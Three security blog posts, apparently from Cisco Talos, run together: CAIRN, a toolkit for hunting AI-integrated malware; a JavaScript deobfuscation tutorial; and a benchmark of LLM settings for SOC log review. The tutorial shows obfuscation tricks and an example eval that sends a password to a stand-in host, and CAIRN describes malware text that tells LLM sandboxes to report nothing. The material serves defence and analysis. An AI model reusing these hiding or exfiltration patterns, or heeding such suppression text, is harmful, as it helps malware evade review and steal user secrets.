A cairn is a marker left behind on a trail, a deliberately placed stack of stones that helps hikers find their way when the path is unclear. Attackers building AI-integrated malware unintentionally (and inevitably) leave behind markers of their own: prompt templates, provider endpoints, API keys, jailbreak terms, and other artifacts embedded throughout their tooling. 

When we consider these strings as cognitive artifacts, or vestiges left behind from AI integration, we can enable a new, metadata-first hunting methodology for AI-integrated malware that is fast and scalable. These artifacts can be extracted, related, and classified without ever touching the underlying binary. 

Today, Cisco Talos is releasing this methodology in the form of CAIRN (Cognitive Artifact Intelligence Research Network), a research toolkit for hunting, classifying, and tracking emerging AI-integrated malware. Over time, we will share the full contents of our initial findings, starting today with CLOSEDQUORUM.

CAIRN contains functionality for identifying AI-integrated malware; in our definition, that is malware that functionally operationalizes, explicitly targets, or exploits AI systems and their ecosystems — spanning functional integration into attack chains, credential and infrastructure compromise, and ecosystem-level abuse. These binaries are classified based on pre-defined AI-usage archetypes, and reporting findings in a structured way.

CAIRN has an explorer layer, which creates a structured graph of cognitive artifact relationships to help defenders identify related malware families, infrastructure, and threat actors. 

Metadata-first architecture 

CAIRN operates entirely from metadata — no binary downloads or execution required. It combines rule-based detection, semantic clustering, and relationship graph traversal to identify AI-integrated malware through cognitive artifacts such as embedded prompts, provider endpoints, orchestration logic, API key prefixes, and AI-analysis evasion strings. 

CAIRN discovers candidate samples through up to 24 acquisition filters, each targeting a different type of AI-related artifact. Instead of relying solely on filenames or hashes, these filters search across metadata including extracted strings, sandbox behavior, and antivirus (AV) detection labels. 

• provider-api-integration searches for LLM provider endpoint strings in file metadata. For example: 
  • api.openai.com  
  • api.anthropic.com 
  • api.deepseek.com
  • Generativelanguage.googleapis.com
    
    Any file whose binary content, URL extraction, or sandbox behavior surfaces one of these domains becomes a candidate. 
• python-ai-scripts targets Python files matching AI framework import patterns. For example: 
  • langchain 
  • litellm 
  • openai 
    
    This pulls in scripts that interact with the AI ecosystem at the code level, not just the network level. 
• ai-analysis-evasion searches for text strings explicitly addressed to AI analysis systems — the kind of comment an actor might embed when trying to tell an LLM sandbox "there's nothing to see here."
• local-llm-runtime searches for strings indicating local model inference (ollama, llama.cpp, vllm, gguf, safetensors). This surfaces files that may be running inference on the endpoint rather than calling a hosted API.
• agentic-tooling looks for tool-call syntax (tool_call, tool_calls, function_call) co-occurring with offensive capability terms. 

Results from the acquisition filters are stored in a SQLite corpus with YARA run automatically on import, using a three-layer ontology:  

• Tier 1 (T1) Primitive AI Artifacts (e.g., API endpoints, tool calling syntax) establishes that AI-related artifacts are present. 
• Tier 2 (T2) Behavioral Context (e.g., AI analysis evasion, known C2 methods) adds behavioral context by identifying combinations of artifacts that suggest operational use of AI. 
• Tier 3 (T3) Operational Families (named AI-enabled malware family) performs family attribution using confirmed operational fingerprints.

Analysis methods with CAIRN 

CAIRN is set up with a detailed CLI and works well for an analyst or as an agent-driven workflow. The skills published support a standardized reporting structure when using an agent. 

CAIRN uses four distinct analysis strategies; each suited to a different phase of investigation. In practice, a hunt session combines several of them: surface expansion to find unknowns, pivoting to map what's related, and corpus analysis to find structure in what's been collected. 

1. Acquisition filters for sample corpus expansion 

Discover previously unseen samples using acquisition filters. This type of hunt produces candidate samples that are introduced into the CAIRN database. 

2. Relationship-based pivoting 

Once a sample of interest has been identified, CAIRN expands outward through metadata relationship graphs to identify related malware, shared infrastructure, and other artifacts connected to the same campaign. 

These relationships help analysts answer questions such as: 

• Are there additional variants of this malware family?  
• What infrastructure (e.g., domains, IPs, certificates, C2 servers) does this malware share with other samples?  
• What loaders, companion payloads, or adjacent malware are part of the same campaign? 

By following these connections, analysts can move beyond a single malware sample and begin reconstructing the broader operational ecosystem behind it. 

3. YARA-based triage and classification 

CAIRN's YARA rules operate on scan text derived from sample metadata in a three-tier structure (T1 artifacts, T2 behaviors, T3 confirmed families). The same text document that feeds the embedding pipeline in the next method, Semantic Discovery, is used for YARA matching.  

Traditional YARA rules are written after reverse engineering (RE). They anchor on the artifacts reverse engineering surfaces, particularly the low-level implementation details that most precisely fingerprint a family. Those are the best classifiers you can write, but they presume you hold the binary. A CAIRN rule must fire on what VirusTotal already exposes as metadata: printable strings, import names, resource and version-info fields, and certificate identities — so the discriminator must survive the trip from disassembly up to the surface of the file. The RE finding tells you what makes the family unique; the metadata rule is the projection of that finding onto the subset of it that's observable without a download. 

Tier 3 rules are used to assign logic to identify known operational families. This produces a YARA rule for confirmed attribution of a family of samples. 

This is the constant tension in a T3 rule: The sharpest signal from low-level RE is exactly the signal you can't hunt on. As a result, the discipline is to pin down the family by RE, then ask which string- or metadata-accessible trait travels alongside that mechanism. Build the rule from those, treating the deep implementation detail as the thing the rule is a proxy for rather than the thing the rule matches. 

 After any rule change, cairn rescan re-applies all three tiers offline against the full corpus without any API calls or re-downloading. This means a new T3 rule for a confirmed family will immediately surface any previously-acquired samples that match, retroactively attributing earlier hits to the new family. 

4. Semantic discovery 

YARA finds what you already know to search for. Embedding models can identify samples that are semantically similar even when they share no obvious string overlap. CAIRN therefore treats semantic clustering as a complementary discovery mechanism rather than a replacement for YARA. 

For each sample, CAIRN assembles a scan text document from: 

• All AV engine detection label strings 
• URL and domain objects extracted by VirusTotal's PE static analysis engine 
• Content-search hex-dump snippets (VirusTotal's preview of matched content at a file offset) 
• ExifTool PE resource strings (CompanyName, FileDescription, OriginalFilename) 
• Behavioral string patterns from VirusTotal sandbox execution (memory-scanned domains, contacted URLs, sigma rule hits)

This approach produces candidate families and reveals outliers and novel clusters. This view is exposed in the CAIRN explorer through the UMAP toggle, which presents an unsupervised pass over the full existing corpus using HDBSCAN and UMAP. Cluster co-membership is a weak similarity signal, not a strong attribution signal. It generates leads, not conclusions. Every interesting cluster still requires per-sample inspection to confirm the AI angle is real and not a false neighbor. 

Findings summary 

Talos' initial hunts with CAIRN have targeted active malware development since July 2025, when the first AI-integrated samples were reported in the wild (LAMEHUG, CERT-UA). Looking across our collection of samples and relationships, we can make a few interesting initial observations: 

• There is an autonomy escalation arc, and it is changing fast. The progression from "LLM as optional feature" to "fully autonomous multi-model consensus orchestrator with no human operator" filled in within a single calendar year. 
   
• AI-specific tradecraft is being taught and spread. An AI-analysis evasion technique, embedding natural-language suppression text addressed to LLM sandboxes was traced to a named red team instructor and appeared in independent actor samples, within 12 months of its first confirmed in-the-wild use.  This suggests the technique is circulating broadly enough to reach actors with no connection to the original course or malware sample and has crossed from interpreted scripts into compiled malware. 
   
• Mandatory “No free lunch,” “Not a silver bullet” statement. T1/T2 hits without genuine AI integration are common. For example, PyInstaller bundles expose the developer's entire virtual environment as YARA-visible strings regardless of what the application imports; Tauri-framework apps and certain Go PE structures accumulate detection signatures from structural similarity alone. Analysts running AI artifact hunts should expect elevated noise from these patterns specifically. 
   
• We may be in a fleeting window to observe AI transition. AI integration is becoming commonplace in all software. As this integration increases, our filters will need to shift from an emphasis on presence of AI strings, toward purpose of their integration. The current approach emphasizes T2 YARA to sharpen behavior classification over the presence of AI indicators alone. Final verdicts for all findings still need validation through reverse engineering. 

Conclusions 

It’s too soon to tell whether AI-integrated malware will conclude as an experimental era, or usher in new paradigms for modern attack operations. Adversaries are increasingly incorporating LLMs into operational tooling, and researchers need methodologies and frameworks that scale beyond manual reverse engineering to keep pace with the changes. Metadata-first hunting provides a scalable complement to traditional reverse engineering, and by open-sourcing CAIRN, Talos hopes to refine filters, rules, and reporting via community-driven improvements. 

CAIRN is a research effort, not a pure active threat signal. However, for the security community, the insights gleaned from studying this landscape and its progression form a valuable signal to inform our detection, intelligence, and operational strategies. 

Take a brief tour of CAIRN with our demo video:

We open a JavaScript artifact hoping for code, and instead get string arrays, strangely named functions, encoded URLs, runtime decoders, and eval statements. That is the point where “reading the script” stops being enough. Obfuscated JavaScript is still code, but it is code with the useful context stripped out, the names ruined, the strings hidden, and the real behavior pushed into runtime. It shows up in phishing pages, malware loaders, sketchy browser scripts, and occasionally in legitimate software protection that has wandered into suspicious-looking territory. 

Over the last few years, I’ve spent a fair amount of time pulling apart suspicious JavaScript from phishing kits, malware packages, compromised sites, and other places where the readable source has been deliberately buried. I might not be a world-class JavaScript reverser, but I’ve learned enough useful tricks to make the mess explain itself. 

In this post I’ll be running through what obfuscation is, why we would try to get past it, and some ways to approach the problem. 

Warning: lots of code (and entirely contrived examples) ahead.

Before touching the weird code 

Before doing any of this, assume the sample is hostile. Work on a copy, preserve the original, and do not run unknown JavaScript on your normal machine, in your normal browser profile, or anywhere useful credentials, clipboard contents, SSH agents, npm tokens, cloud credentials, or corporate proxy details are available. 

That includes AI-assisted analysis. AI tools are useful here, and this whole workflow leans on them, but they are not a sandbox and they are not an evidence source by themselves. Use them on isolated snippets, decoded artifacts, and recovered payloads you are comfortable sharing with the tool in front of you. The goal is not to avoid AI; it is to avoid feeding hostile or sensitive material into places you do not control. 

The useful questions are boring, which is why they work: 

• What does it read? 
• What does it write? 
• Where does it connect? 
• What code does it generate? 
• What conditions change its behavior? 
• What happens to a real user, developer, or build runner? 

What counts as obfuscation? 

Let's make some important definitions: 

• Minification reduces raw code size by shortening identifiers and removing whitespace. 
• Packing compresses or encodes code and reconstructs it at runtime. 
• Encoding hides strings or payloads until decoded; encryption does the same with a key involved. 
• Anti-analysis tries to punish, detect, or mislead the analyst and their tools. 
• Obfuscation is an overall term for when code is transformed to preserve execution while obscuring intent. 

Not all obfuscation is malicious, but it can be a reason to look more closely. Examples of benign uses include performance bundling/minification, IP protection and anti-tamper controls. 

Examples of suspicious uses are: 

• Hiding phishing credential exfiltration 
• Malware loaders 
• Browser extension abuse 
• npm package install scripts 
• Compromised website injections 
• Fake CAPTCHA and update flows

Why beautifying is not enough 

Beautifying code is useful, but it is not deobfuscation. Tools like Biome or Prettier can restore indentation line breaks and basic readability, so they are usually a sensible first step. What they cannot do is restore original variable names, recover intent, rebuild removed structure, decode runtime strings, or turn a dispatcher loop back into normal logic. 

Beautifying makes the code easier to look at. It does not necessarily make it easier to understand. 

Minification and packing 

Minification takes identifiers like myVeryImportantBusinessFunction and renames them to m. Great for saving bytes; less great when the original name was the only obvious clue about what the function did. 

Packing goes further: Compress or encode the real code, then reconstruct and execute it at runtime. eval() does not care whether the input started life as readable JavaScript, Base64, gzip output, or a custom string table. 

The usual move is to find the unpacking step and capture what comes out. Do not spend too long admiring the wrapper. Replace the execution sink, log the payload, decode the next layer, and keep going.

A practical catalog of nonsense 

Most JavaScript obfuscation is not one grand technique. It is a collection of smaller tricks stacked together until the useful behavior disappears under ceremony. 

I normally group the tricks into a few buckets: 

• Hiding strings and identifiers 
• Hiding which APIs are being called 
• Generating code at runtime 
• Making the control flow hostile 
• Detecting or punishing analysis 
• Adding noise without changing behavior 

Once you can classify the trick, the next move is usually obvious: Decode it, rename it, replace the action-taking functionality, then run it in a controlled harness — or ignore it because it does not affect behavior. 

Static hiding 

This is obfuscation that makes the code harder to understand before it runs, usually by disguising strings, identifiers, API names, or structure so simple reading and searching become less useful. 

String hiding and encoding 

If strings are hidden, the author probably cares about what simple scanning would find. This is especially useful when they need to include things like URLs, authentication tokens, common functions, or other interesting indicators. 

All these lines evaluate into the string "eval":

// Splitting strings 
> 'e'+"va"+'l' 
< 'eval' 
// Hex encoding 
> "\x65\x76\x61\x6c" 
< 'eval' 
// Character-code reconstruction 
> String.fromCharCode(101, 118, 97, 108) 
< 'eval' 
// Base64 encoding 
> atob('ZXZhbA==') 
< 'eval' 
// Unicode encoding 
> "\u0065\u0076\u0061\u006C" 
< 'eval'

Another option is arrays of strings joined together. It hides from simple searches but is transparent at runtime. This example turns into `"https://"`, which means a basic string search for URLs may miss it.

> ["ht", "tps", "://"].join("") 
< "https://"

Unicode escaping can also be used to refer to a function — we're doing eval(1+2) here:

> \u0065\u0076\u0061\u006C(0x01+2) 
< 3 
// set the variable 'eeee' equal to 1 
> const \u0065\u0065\u0065\u0065=1; 
> eeee 
1

Combine a few of these methods and you get code that hides in plain sight from simple searches, but not from execution. Small blocks like this are also where AI tools can help: decode the string, rename the variables, and explain the resulting behavior. 

Lookup tables and decoder functions 

A common pattern is using identifiers that start with _0x, which makes the code harder to scan quickly. Here's an example:

const _0x1234 = ["fetch", "password", "https://example.com"]; 
// javascript has a load of different syntaxes for creating functions 
_0xabc = (i) => { 
  return _0x1234[i - 0x10]; 
} 
\u0065\u0076\u0061\u006C(`${_0xabc(16)}(\"${_0xabc(18)}?${_0xabc(17)}\")`) 

If you want to do it by hand, the first quick move is renaming things:

const ourSneakyItems = ["fetch", "password", "https://example.com"]; 
function lookup(i) { 
  return ourSneakyItems[i - 16]; 
} 
eval(`${lookup(16)}(\"${lookup(18)}?${lookup(17)}\")`) 

Then you can collapse the lookups into their values:

eval(`fetch("https://example.com?password")`) 

Modern IDEs are very handy here. Formatting makes the code less awful to read, and refactoring tools make repeated renaming less error-prone. AI tools can also do this well, assuming you pass in small blocks without stripping away the context needed to understand them. 

Dynamic property access 

JavaScript gives you several ways to refer to the same property:

> window.document.cookie 
> window["document"].cookie 
> window["doc" + "ument"]["coo" + "kie"] 

This is great for hiding references to sensitive APIs from simple text searches. 

Dead code and noise 

Dead code and distracting noise are common in JavaScript obfuscation. The code may contain fake branches that can never execute, unused functions with dramatic names, pointless arithmetic that always resolves to the same value, bogus conditionals that pretend to make decisions, random strings that look like domains or keys, and helper functions whose only real job is to make you scroll. 

None of it has to be clever. It just has to be annoying enough that you spend time proving it does not matter.

Runtime hiding 

This is obfuscation that only reveals the interesting behavior while the code is running, often by decoding payloads, generating code, checking the environment, or changing behavior based on timers, domains, browsers, or sandbox conditions. 

Runtime code generation 

This is where the code stops merely hiding strings and starts constructing executable behavior at runtime. Packing and encoding often rely on this pattern, because the sample begins with string-like data and then asks the runtime to execute whatever gets reconstructed.

Generated code may come from embedded strings, downloaded payloads, runtime assembly, or less obvious sources such as DOM state or image data. The useful move is to replace execution sinks with logging: Turn eval(payload) into console.log(payload), capture the intermediate code, and analyze that next layer separately.

eval() 
Function() 
setTimeout("")

Control-flow flattening 

Another common trick is turning normal program flow into a state machine or dispatcher loop. Instead of reading top-to-bottom as “do this, then that,” the code jumps through numbered states, lookup tables, and artificial branches until the original intent is buried under plumbing. The result is technically readable in the same way a wiring diagram is readable: All the parts are there, but the meaning has been made deliberately hostile. Beautifying makes this neater, but it does not recover the original flow.

let state = 0; 
let data = {}; 
while (state !== 3) { 
  state = [ 
    () => { 
      data["p"] = "hunter2"; 
      return 1; 
    }, 
    () => { 
      console.log("Sending password:", data["p"]); 
      return 3; 
    } 
  ][state](); 
} 

What that really was:

console.log("Sending password:", "hunter2"); 

Anti-debugging and anti-analysis 

Some obfuscated JavaScript is less interested in being unreadable and more interested in being inconvenient to inspect. It may drop debugger statements into loops, so DevTools keeps tripping over itself, check whether DevTools is open, compare timing differences to spot breakpoints, or look for headless-browser fingerprints such as navigator.webdriver. It may refuse to run outside an expected domain, alter or replace console.log so useful output disappears, probe for sandbox artifacts, or delay execution long enough that a quick scan sees nothing interesting. These tricks are not magic and they are not unbeatable, but they change the analyst’s workload.  

The code may not be trying to hide forever. It may only be trying to outlast the first five minutes of analysis.

JSFuck: Punctuation soup with consequences 

Inspired by BrainFuck, JSFuck is valid JavaScript written using only six characters: [ ] ( ) ! +. 

It relies on JavaScript type coercion to build values like false, true, undefined, numbers, strings, and eventually executable code. The result looks ridiculous, but it is still valid JavaScript.

Tricks for handling this breed of nonsense:

• Don’t manually decode it by staring at it.
• Recognize it, then use a decoder or controlled runtime capture.
• Look for what it produces, not how elaborate the construction is.

For more complicated samples, I’ve had success using headless Chrome in a debugging harness and pulling the real code out of runtime state. It’s messy, but it beats treating the punctuation as the interesting part.

javascript-obfuscator: the practical nuisance 

You are less likely to meet a hand-crafted masterpiece of JavaScript weirdness and more likely to meet output from tools like the npm package “javascript-obfuscator” or “obfuscator[.]io”. 

These tools automate the usual techniques: identifier renaming, string-array extraction, string encoding, string rotation, control-flow flattening, dead-code injection, debug protection, self-defending code, domain locks, and console output disablement. 

The result is not necessarily sophisticated, but it is practical and repeatable. Rather than understanding every trick individually, a phishing kit author or malware operator can run the code through a tool and produce something that is slower to read, harder to search, more annoying to debug, and more likely to survive casual inspection. 

When the browser is not the victim 

The npm version is more serious because the browser is no longer the only execution environment. Package scripts can run during install, so preinstall, postinstall, build hooks, and even test scripts become interesting places to hide behavior. 

In Node, obfuscated JavaScript can reach process.env, the file system, child processes, home directories, npm tokens, GitHub tokens, SSH keys, and CI variables. Browser-only assumptions break badly here: “What does it read?” stops meaning cookies and form fields, and starts meaning, “What secrets did the build runner have lying around?”

The shape of the workflow 

The full workflow deserves its own article, because this is where tooling starts to matter. The short version is: 

1. Preserve the original. 
2. Make a safe working copy. 
3. Beautify only as a first pass. 
4. Extract strings. 
5. Identify execution sinks. 
6. Capture generated payloads. 
7. Observe behavior in a controlled environment. 
8. Repeat until the code stops hiding behind ceremony. 

That process is boring on purpose. Obfuscation wants you to improvise, stare at weird bits, and get dragged into fake complexity. A repeatable workflow turns the mess into smaller jobs: Decode this, rename that, log this sink, compare these strings, explain this branch, prove whether this behavior actually runs. 

AI helps inside that loop. It can explain an isolated decoder, rename variables, collapse a lookup table, summarize a recovered payload, compare variants, or help document the analysis — but it is not a magic malware oracle, and it is definitely not a sandbox. 

That applies whether the sample is a phishing page, a malicious npm package, a compromised dependency, or a JavaScript loader handing work off to WASM. The shapes change, but the job is the same: Turn hidden behavior into observable behavior. 

• Selecting a model for your security operations center (SOC) and digital forensics and incident response (DFIR) tasks is important, but selecting the best one is more involved than you might think. SOC tasks rely on a combination of model efficacy, analysis time, cost, and consistency of results. 
• Cisco Talos tested 66 model and reasoning combinations across offerings from both Anthropic and OpenAI on a log analysis task to see if we could identify a clear winner. Instead, we found a repeatable methodology that organizations can use in their own evaluations. 
• Reasoning effort was not a universal quality dial. More effort often cost more without improving the result. In some cases, more effort produced lower scores. 
• Consistency should be a major decision factor. A condition with a strong median can still produce an occasional weak run. 

Choosing the best model for any task involves a complex balancing act: compute/reasoning effort vs. effectiveness vs. time vs. cost vs... well, lots of other things.  If you are choosing a large language model (LLM) for a security operations center (SOC) or digital forensics and incident response (DFIR) workflow, “Which model scored highest?” is almost certainly not the right question. In fact, it could even have severe negative consequences. 

A more useful question might be: Which model and reasoning setting gives me enough investigative quality, at a cost, speed, consistency, and failure rate my workflow can tolerate?

The experiment 

Cisco Talos tested 66 model and reasoning combinations (the conditions) from Anthropic and OpenAI on a tool-assisted log-review task. Using only common Unix command-line tools, the reviewers had to decide whether a given dataset was real or synthetically generated. Each reviewer received an identical dataset. The dataset was synthetic, but the reviewers were told that it might be real. 

We chose this task because it required many of the same tools and analytic techniques used in typical incident triage and investigation, but unlike those scenarios, could easily create a single numeric score for comparison. The reviewers investigated the logs using their native agent harnesses (i.e., Anthropic models used Claude Code, OpenAI models used Codex), then assigned a synthetic-confidence score from 0 (real) to 100 (synthetic). Higher scores therefore approached the known answer more closely. 

Each experimental panel contained four independently prompted reviewer personas: 

• Threat Hunter 
• Detection Engineer 
• Network Forensics Analyst 
• Host/Endpoint Detection and Response (EDR) Analyst 

We ran five rounds per condition. A panel counted only when all four reviewers produced valid reports. We allowed a limited number of retries in the case of guardrail refusals or invalid output formats before discounting a panel. The panel score was the mean of the four persona scores, and the condition score was the median of all its complete panel scores.

What we measured 

In addition to the review score mentioned above, we computed the following for each panel: 

• Cost: Total API-equivalent cost of every attempt for a condition, including failed attempts and retries, divided by the number of complete, usable panels. We calculated cost using a public list-price rate card frozen before testing began, rather than actual incurred spend. Actual costs vary by payment method, subscription plan, credits, and negotiated contract terms, making them unsuitable for consistent cross-provider comparison. The published rates were current when the study began and may differ from today’s prices. 
• Time: The total wall time consumed across all five planned panels for a condition, also including failures and retries, divided by the number of complete, usable four-persona panels. Within each panel, the four persona evaluations ran concurrently. Any provider-directed waits and targeted retries were included in the panel’s elapsed time, and each panel was fully resolved before the next panel began. 
• Downside score consistency: Some tested conditions had a wide discrepancy when it came to their efficacy scores, while some clustered tightly together. In a SOC, unexpectedly good answers are unlikely to cause problems, but unexpectedly poor answers can lead to unwelcome false positive or (worse) false negative decisions. Our score consistency is defined as the median score for the panel minus the lowest score in that panel. Smaller numbers indicate higher consistency. 

The data behind the tests 

The corpus was generated with EvidenceForge, Talos' open-source synthetic telemetry generator. We froze EvidenceForge at version 1.12.0 and used the same six-hour enterprise scenario for every condition, so the model and reasoning settings changed while the evidence did not. 

The reviewer-visible corpus contained 80,054 simulated log records across 20 source formats, packaged as 88 files totaling 48.0MB (45.8MiB). It combined: 

1. Network telemetry from two Zeek sensors, including connection, DNS, HTTP, TLS, SMTP, file, certificate, OCSP, DHCP, and NTP logs 
2. Perimeter security telemetry from a Cisco ASA firewall and Snort IDS 
3. Endpoint telemetry, including Windows Security and Sysmon events, eCAR process, session, and flow records, Linux syslog, and shell history 
4. Application access logs from web and proxy services 
5. A small set of email artifacts 

Every reviewer received an identical copy of the data. Scenario definitions, generator information, ground truth, and other metadata generated by EvidenceForge were withheld from the model.

What we learned 

The most important thing Talos learned was that choosing your model is not as straightforward as we had hoped. The following chart lists the top 10 conditions by median score. If we were to take the top-scoring model, we could expect to wait more than half an hour for an answer and pay about $55USD for it. While that might be acceptable for certain tasks where the need for the best possible analysis overrides any other factors, we can easily see that the “best” model here might not be the appropriate choice for workflows that execute frequently.

Instead of ranking based on any single criteria, we needed a more robust, multi-variable system, so we chose to compute the Pareto frontier.  

Stop looking for a single winner 

A Pareto frontier highlights the best available tradeoffs when several measures matter, and no single measure determines the winner. A condition appears on the frontier when no other condition is at least as good across every measure and clearly better on at least one. For example, a lower-scoring condition may still belong on the frontier if it is meaningfully faster or less expensive. Conditions outside the frontier have another option that matches or improves all the measures being compared, making them less attractive under any combination of those priorities. 

Talos' frontier was calculated using the four primary measures discussed earlier: score, cost, time, and downside consistency. Although this produces a single frontier, a four-variable frontier is difficult to represent and interpret visually. The following graphs therefore show four two-variable views: score vs. cost, score vs. time, score vs. downside spread, and cost vs. time. 

The dark line in each graph marks the best observed tradeoffs for the two measures shown in that panel, while the numbered points identify conditions on the full four-measure frontier. A numbered point may fall away from a panel’s line because its frontier membership depends on one of the other measures not shown there. 

In the score graphs, conditions toward the upper left generally offer more attractive tradeoffs: higher scores with lower cost, time, or downside spread. In the cost-versus-time graph, the preferable direction is toward the lower left. The cost and time axes use logarithmic scales, so equal distances represent proportional rather than equal numerical changes. Together, these views help explain why each condition belongs to the frontier, but choosing among them still requires deciding which tradeoffs matter most for the intended use.

A reasonable way to use this information to select the optimum condition is to begin with the conditions on the Pareto frontier, discarding all the others. Next, set acceptable thresholds for each of the four variables: 

• The minimum score you're willing to accept 
• The maximum downside consistency you can live with 
• The highest per-task cost you're willing to pay 
• The maximum amount of time you're willing to wait for an analysis task to complete 

From the Pareto frontier conditions, eliminate any which fail to meet at least one of those requirements. 

You are likely to still be left with more than one frontier condition. Choosing between those is a matter of organizational priorities and preferences. In a SOC, if all the other requirements are met, choosing the remaining condition with the highest mean score is probably a good start. 

Other lessons learned 

While our main goal was to find an effective selection methodology, we learned some other interesting things as well. In fact, some of these were rather surprising.  

More reasoning did not reliably mean better analysis 

Cost generally rose with reasoning effort. Score did not. 

GPT-5.6 Sol mostly improved as effort increased but max scored 90.0 while the lesser xhigh level scored 92.75. Ultra then climbed to 96.25.

We saw a much more pronounced and surprising effect with GPT-5.6 Luna, where increasing the reasoning effort decreased scores at all levels.

In fact, GPT-5.6 seemed to have a generally odd relationship between reasoning and score. Terra was erratic.

Claude Opus 4.8 gained eight points from medium to high, then lost 9.5 points from high to xhigh.

These results show why it is important to benchmark every reasoning level you might deploy. You cannot assume that a model’s performance scales according to the reasoning level you use. More effort means more cost but doesn’t always mean better results.

The analyst role changed the result 

Talos’ results showed a measurable difference in score based on which persona was doing the evaluation. This was entirely expected (and why we chose four different personae in the first place) but it was nice to see this confirmed by data. 

The chart below shows every valid score produced under each of the four analyst roles across all conditions. Each dot is one evaluation. The box captures the middle half of the scores, and the line inside it marks the typical result.

The Threat Hunter role produced the highest median score at 43. Network Forensics and Host/EDR both had medians of 35, while Detection Engineer had the lowest at 31. When we compared roles within the same model, reasoning setting, and test round, the largest typical difference was between Threat Hunter and Detection Engineer; Threat Hunter scored five points higher. 

These are tendencies, not guarantees. The distributions overlap substantially, and each role sometimes produced both high and low scores. But the results do show that changing the role and its evidence priorities could meaningfully change the model’s conclusion. 

For SOC workloads, the prompt should be treated as part of the system. Do not assume that one generic “SOC analyst” prompt represents every defensive workflow. If your budget allows, you might get better results by having multiple personae evaluating data according to their individual “expertise.” But watch for disagreement between the personae. Large differences may require extra human review.

Higher reasoning effort sometimes reduced reliability 

Two failure types had the greatest effect on model selection: responses that violated the required output format and attempts blocked or declined by the model provider’s safety system. Although safeguards and model-authored refusals arise differently, both have the same immediate operational result: no usable analysis is delivered.

Almost every format violation came from Claude Sonnet 4.6. Low and medium completed without any, but 10 of 27 high attempts and 15 of 29 max attempts returned invalid output. Retries recovered some cells, but high produced only two of five complete panels, and max produced none. This was not a minor formatting inconvenience; it prevented both conditions from producing enough comparable results. It doesn’t matter how good the underlying analysis is if the model can’t provide answers in the expected format. 

Safeguard and refusal failures followed a similar pattern at higher reasoning settings. Claude Sonnet 5 had none at low or medium, followed by one at high, four at xhigh, and five at max.  

We intentionally excluded Anthropic’s Fable from our experiment matrix because our early testing generated far too many refusals to get comparable scores. Safeguards blocked 21 of 31 attempts, including all eight max attempts. Ten of its 20 scheduled persona cells remained unavailable, and no reasoning level produced a complete four-persona panel. It’s worth noting that the early tests were conducted with an account which was part of Anthropic’s Cyber Verification Program (CVP) which offers relaxed safeguards for recognized cybersecurity professionals. Even with relaxed guardrails, the high refusal rate rendered the model unusable for our tests. 

These failures are already reflected in the optimization results. Conditions that could not produce at least three complete panels were excluded, while the cost and time of failed attempts and retries were included in the reported operational measures. However, the failure rate itself was not an axis of the Pareto frontier. 

These results show that reasoning effort can affect more than answer quality, cost, and completion time. It can also affect whether a usable answer arrives at all.

What does this mean for your SOC? 

We began this work looking for the best model for a particular task. What we found instead was a set of tradeoffs. The highest-scoring condition was also slow and expensive, while several cheaper and faster conditions delivered lesser, but still useful, results. There was no single obvious winner: 

• Reasoning effort was not a dependable quality dial. Increasing it sometimes improved the result, sometimes made no meaningful difference, and sometimes made performance or reliability worse.  
• The analyst role also changed what the model concluded, confirming that the prompt is part of the system being evaluated. 
• Consistency and availability mattered alongside average quality. A model that occasionally produces an excellent answer may still be a poor operational choice if it also produces weak, malformed, or blocked responses too often. 

Rather than just using the results of our study verbatim, organizations should use it as a model for their own selection process. A focused set of representative cases and model/reasoning conditions, tested several times with the prompts and tools you intend to use in production, can reveal much more than a generic leaderboard. A spreadsheet that records quality, cost, time, consistency, and usable-answer rate is enough to expose many of the tradeoffs. 

The goal is not to build a perfect benchmark or discover a universally superior model. It is to replace assumptions with evidence before a system touches real investigations or starts incurring real costs. Begin with the workflows that matter most, measure what your SOC cares most about, and revisit the decision as the technology or cost changes. Model selection will still involve judgment, but it can be informed, explicit, and defensible judgment.